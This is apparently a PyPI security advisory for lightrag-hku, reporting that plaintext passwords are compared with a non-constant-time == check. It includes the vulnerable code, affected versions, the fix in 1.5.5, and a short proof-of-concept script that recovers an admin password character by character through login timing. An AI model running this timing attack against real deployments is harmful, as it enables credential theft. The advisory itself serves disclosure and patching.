PYSEC-2026-4061

Vulnerability from pysec - Published: 2026-10-01 16:38 - Updated: 2026-10-01 17:10
VLAI
Details

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Impacted products
Name purl
lightrag-hku pkg:pypi/lightrag-hku
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lightrag-hku",
        "purl": "pkg:pypi/lightrag-hku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.2",
        "0.0.3",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.0.9",
        "1.0.0",
        "1.0.1",
        "1.0.3",
        "1.0.5",
        "1.0.6",
        "1.0.8",
        "1.0.9",
        "1.1.0",
        "1.1.1",
        "1.1.2",
        "1.1.3",
        "1.1.4",
        "1.1.5",
        "1.1.6",
        "1.1.7",
        "1.2.1",
        "1.2.2",
        "1.2.3",
        "1.2.5",
        "1.2.6",
        "1.3.0",
        "1.3.1",
        "1.3.2",
        "1.3.3",
        "1.3.4",
        "1.3.5",
        "1.3.6",
        "1.3.7",
        "1.3.8",
        "1.3.9",
        "1.4.0",
        "1.4.1",
        "1.4.10",
        "1.4.11",
        "1.4.11rc2",
        "1.4.12",
        "1.4.12rc1",
        "1.4.13",
        "1.4.13rc1",
        "1.4.14",
        "1.4.15",
        "1.4.16",
        "1.4.2",
        "1.4.3",
        "1.4.4",
        "1.4.5",
        "1.4.6",
        "1.4.7",
        "1.4.8.1",
        "1.4.8.2",
        "1.4.8rc4",
        "1.4.8rc6",
        "1.4.8rc7",
        "1.4.8rc8",
        "1.4.8rc9",
        "1.4.9",
        "1.4.9.1",
        "1.4.9.10",
        "1.4.9.11",
        "1.4.9.2",
        "1.4.9.3",
        "1.4.9.4",
        "1.4.9.4rc1",
        "1.4.9.5",
        "1.4.9.6",
        "1.4.9.7",
        "1.4.9.8",
        "1.4.9.9",
        "1.4.9rc1",
        "1.4.9rc2",
        "1.4.9rc3",
        "1.4.9rc4",
        "1.5.0",
        "1.5.0rc1",
        "1.5.0rc2",
        "1.5.0rc3",
        "1.5.1",
        "1.5.2",
        "1.5.3",
        "1.5.4",
        "1.5.5rc1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85725",
    "GHSA-c759-cx9p-mrwq"
  ],
  "details": "### Summary\nWhen plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python\u0027s == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.\n\n### Details\n\n```python\n# lightrag/api/passwords.py:13-26\ndef verify_password(plain_password: str, stored_password: str) -\u003e bool:\n    if stored_password.startswith(\"{bcrypt}\"):\n        ...\n        return bcrypt.checkpw(...)    # constant-time  OK\n\n    return stored_password == plain_password  # NOT constant-time  VULN\n    #   Python == short-circuits on first mismatched byte\n    #   Timing leaks: password length + individual characters\n```\n\n### PoC\n\n```python\n# Timing oracle: recover password char-by-char\nimport httpx, time, string\n\nTARGET = \"http://\u003cTARGET\u003e:9621/login\"\nUSER   = \"admin\"\n\ndef measure(pwd: str) -\u003e float:\n    t = time.perf_counter()\n    httpx.post(TARGET, data={\"username\": USER, \"password\": pwd})\n    return time.perf_counter() - t\n\nknown = \"\"\nfor _ in range(32):\n    best = max(string.printable,\n               key=lambda c: sum(measure(known+c+\"A\"*20) for _ in range(10)))\n    known += best\n    print(f\"Recovered: {known}\")\n```\n\n### Impact\nObservable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.",
  "id": "PYSEC-2026-4061",
  "modified": "2026-10-01T17:10:27.189063Z",
  "published": "2026-10-01T16:38:37.356906Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85725"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/pull/3423"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/LightRAG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/lightrag-hku"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-c759-cx9p-mrwq"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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